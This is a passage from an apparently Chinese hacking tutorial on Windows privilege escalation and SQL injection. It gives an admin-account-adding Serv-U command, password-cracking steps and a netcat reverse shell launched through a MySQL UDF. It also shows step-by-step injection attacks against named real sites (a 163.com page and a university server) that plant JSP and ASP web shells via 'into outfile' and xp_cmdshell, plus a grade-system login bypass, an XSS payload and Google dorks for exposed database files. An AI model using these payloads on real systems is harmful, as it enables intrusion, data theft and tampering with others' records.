      Access2=D:\IRWAMELCDP
      Access3=E:\IRWAMELCDP
      SKEYValuers=
      然后用DOS登陆执行命令 quote site exec "cmd /c net user whatday 991100 /add & net localgroup administrators whatday /add"


      ====================
      Serv-U的默认密码应用
      ====================
      NO1.在LocalAdministrator默认时(LocalAdministrator #l@$ak#.lk;0@P)可以ftp.exe执行命令如ftp.exe "cacls.exe c: /T /E /G everyone:F",
      NO2.若默认密码修改了就要到Serv-U目录下下载Serv-UDaemon.exe,用ServuAdminPassGet.exe查看密码,再用myservu执行命令,也可以用SU.ASP,一个是CS的一个是BS的。
                A.若不能查看用WinHex打开ServUAdmin.exe,查找localadministrator,一般是LocalAdministrator.password.Globl....的形式,password就是密码了
                B.如果改了用户名没改密码(这种情况很少)就查找#l@$ak#.lk;0@P相应的查到用户名
                C.还是不行的话,安装个相同版本的SERV-U依照前面的步骤看其密码存放的地址,就可以知道了。相同版本存放地址相同。
      NO3.若看到密码未改但又不能执行命令,查看ServUDaemon.INI,里面有个Localsetuppassword将其值用su-crack.exe破解,再用myservu/su.asp默认端口是43958,但要注意用这些溢出工具帐号必须是localadministrator及对应的密码


      ==========================
      服务器对各种语言的权限差异
      ==========================
      如果服务器支持其他语言如PHP JSP CGI ASP.NET都可以传个马上去试试,WINDOWS没有对PHP等作设置,windows2003默认支持asp.net,而且asp.net执行权限要大于asp


      ==================
      查看pcAnywhere密码
      ==================
      一般pcAnywhere在C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 下载.CIF用pcAnywhere看密码工具破解,登陆OK


      ==========
      找sa的密码
      ==========
      在CONN.ASP文件中可以看到数据库连接语句,可以看到密码,在远程或本地执行命令
      
      =========
      MYSQL提权
      =========
      一般在c:\winnt\mysql.ini 中看到MYSQL中ROOT的密码,在本机mysql -h ip -uproot -pass连接远程主机,若失败->
      把sysudf.dll传上去,用PHP的WEBSHELL连接本地MYSQL,执行CREATE FUNCTION sys_name RETURNS STRING SONAME 'sysudf.dll的物理地址',然后自己监听端口如nc -vvlp 2005在PHP的WEBSHELL里执行select Mixconnect('nc.exe -e cmd.exe ip port');只要是命令就行,比如nc -l -p port -e cmd.exe这样都可以


-------------------------------------------------------------------------------------------------------------------------------------------
  第九招“破气式”,只是传以口诀和修习之法,此式是为对付身具上乘内功的敌人而用,神而明之,存乎一心。 (SQL注入)
    
    =====================
    九阳神功(网易的注入)
    =====================
    http://xxx.163.com/wap/content.jsp?id=120 and 1=1 返回正常
    http://xxx.163.com/wap/content.jsp?id=120 and 1=2 返回错误,根据错误at _content_jsp._jspService(/home/project/web163/web/content.jsp:72)得到是UNIX/Linux
    http://xxx.163.com/wap/content.jsp?id=120/*whatday 返回正常 支持/*的数据库是 MYSQL
    http://xxx.163.com/wap/content.jsp?id=120 and ord(mid(version(),1,1))>51/* 返回正常是 数据库4.0或以上的版本 支持Union 51是3的ASCII码
    http://xxx.163.com/wap/content.jsp?id=120 and 1=2 union select 1/* 返错
    一直到。。。。
    http://xxx.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10/* 返回正确,可以得到哪些字段可以在网页中显示6,7,10可以显示
    http://xxx.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,version()/* 得到用户名,看其权限。
    http://xxx.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,into outfile '/tmp/jnc.txt'/* 返回:ResultSet is from UPDATE. NO Data说明写入成功,一般此系统/tmp是可写的
    http://xxx.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file('/tmp/jnc.txt')/* 返回jnc.txt的内容,说明读取成功
    http://xxx.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file('/home/project/web163/web/content.jsp')/* 读取成功,说明WEB和MYSQL是同一台主机
    查看content.jsp内容得知有Function.jsp这个文件,查看得知MYSQL密码,用MYSQL客户端连接上去,但失败,因为限制了IP的,这也是大多主机常用的招式,换另外的方法
    http://xxx.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 into outfile '/home/project/web163/web/jnc.jsp'/* 想导出一个JPS木马,但因为此目录权限问题失败。换方法
    http://xxx.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 into outfile '/home/project/web163/web/test/jnc.jsp'/* test是一般的方便管理员调试所设置的一个目录,权限一般是777,所以可以写
    能执行 ?cmd=命令 的一个JSP木马:
    <%@ page import="java.io.*"%>
    <%
       try{
          String cmd=request.getParameter("cmd");
          Process child=Runtime.getRuntime().exec(cmd);
          inputStream in=child.getinputStream();
          int c;
          while((c=in.read())!=-1){
             out.print((char)c);
          }
          in.close();
          try{
             child.waitFor();          
          }catch(interruptedException e){
              e.printStackTrace(); 
           }
       }catch(IOException e){
           System.err.println(e);
        }
    %>
    必须放到最后导入,所以将10换成马
    http://xxx.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,'jsp木马' into outfile '/home/project/web163/web/test/jnc.jsp'/*
    由于太长超出了GET的提交范围,所以自己写个HMTL:
    <from action=http://xxx.163.com/wap/content.jsp method=post>
    <input name=id type=text size=1000>
    <input type=submit>
    </from>
    本地提交OK
 
    =========================
    纯阳无极功(高校查分系统)
    =========================
    在考号处填:
    123456' or 1=1-- 返错误 -》123456' or 1=1/* 返正确-》猜测SELECT语句,考号,姓名分别测试为
    123456'/* ddddd -> 123456' or 1=1/* -> 正确的号码/* dddddd ->  正确的号码/* ddddd or 1=1/* -> 正确的号码 and '1'='1  dddddddd -> 
    正确的号码 and '1'='1  dddddd/* -> 正确的号码 and '1'='1 ddddd' or '1'='1
    经过以上测试可得语句为select * from 成绩表 where 准考证='输入的准考证号' and 姓名='输入的姓名'
    最终构造为:
    准考证号码' or '1'='1  ddddddd' or '1'='1 就可以查看别人成绩了
    其实如下语句也可以检测123456' or 1=1-- ddddddd  -> 123456' or '1'='1 号码' or 1=1--
    字段名可以通过查看源文件得到。
    
    =================================
    八荒六合唯我独尊功(某高校得注入)
    =================================
    注入点:http://www.gdfs.edu.cn/new/news.asp?news_id=287 
    http://www.gdfs.edu.cn/new/news.asp?news_id=287 and 1=(select is_srvrolemember('sysadmin')) 返回正常,角色为sysadmin
    http://www.gdfs.edu.cn/new/news.asp?news_id=287 and user<1 返回错误,爆出数据库用户名
    http://www.gdfs.edu.cn/new/news.asp?news_id=287 and db_name()<1 返回错误,爆出数据库名称
    http://www.gdfs.edu.cn/new/news.asp?news_id=287 and exists(select * from [amdin]) 看有没有这个表
    http://www.gdfs.edu.cn/new/news.asp?news_id=287 and exists(select [username] from [admin]) 看有没有这个字段
    http://www.gdfs.edu.cn/new/news.asp?news_id=287 and 1=(select @@version) 可以爆出数据库类型,是MSSQL还可以得到系统版本
    http://www.gdfs.edu.cn/new/news.asp?news_id=287 and exists(select * from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell') 返回正常,存在xp_cmdshell
    一对配套文件:
    1.<%Set whatday=Server.CreateObject("Scripting.FileSystemObject"):Set whatday421=whatday.CreateTextFile(request("serverpath"), True):whatday421.Wrtie request("filedata"):whatday421.Close%>
    2.<form action=http://localhost/whatday.asp method=post>
    保存到服务器得路径文件名:<input type=text name=serverpath><br>
    <textarea name=filedata cols=100 rows=50>填上马</textarea><br>
    <input type=submit><br>
    </form>
    http://www.gdfs.edu.cn/new/news.asp?news_id=287;exec master.db.xp_cmdshell 'echo "<%Set whatday=Server.CreateObject("Scripting.FileSystemObject"):Set whatday421=whatday.CreateTextFile(request("serverpath"), True):whatday421.Wrtie request("filedata"):whatday421.Close%>" >e:\wwwroot\whatday.asp';
    返回正常,说明文件写入成功,其中得目录可以用NB,在WINDOWS2000种有个默认虚拟目录_vti_bin对应地址是 系统盘:\Program Files\Common Files\Microsoft Shared\web server extensions\40\isapi\
    再用文件2提交OK,个人认为不如直接写入一句话马exec%20master..xp_cmdshell%20'echo%20"<%25execute%20request("whatday")%25>"%20>e:\wwwroot\whatday.asp'
    
-------------------------------------------------------------------------------------------------------------------------------------------
  独孤九剑虽只一剑一式,却是变化无穷,学到后来,前后式融会贯通,更是威力大增。最后这三招更是难学


     0607-71 0607-73 0606-62 0604-59 0604-64 0601-52 0601-59 0601-63 0511-65 0511-67 0511-70 0510-57 0509-65 0508-57 0508-71 0506-54

XML
1.RSS:
利用网站的聚合地址跨站
http://www.google.com/ig/feeds?q=http://www.target.com/feed/?<script>window open("http://www.163.com")</script>&page=advsrch
------------------------------------------------------------------------------------------------------------------------
其他:
1.Google的应用
主要语法有:intitle inurl intext site filetype
开了目录浏览权限的网站的特征码是:to parent directory 
实例:intext:to parent directory+intext:mdb site:fudan.edu.cn
      intext:to parent directory+intext:conn.asp site:ustc.edu.cn
      to parent directory site:202.102.239.179
      inurl:/inc+conn.asp


展开阅读全文

没有更多推荐了,返回首页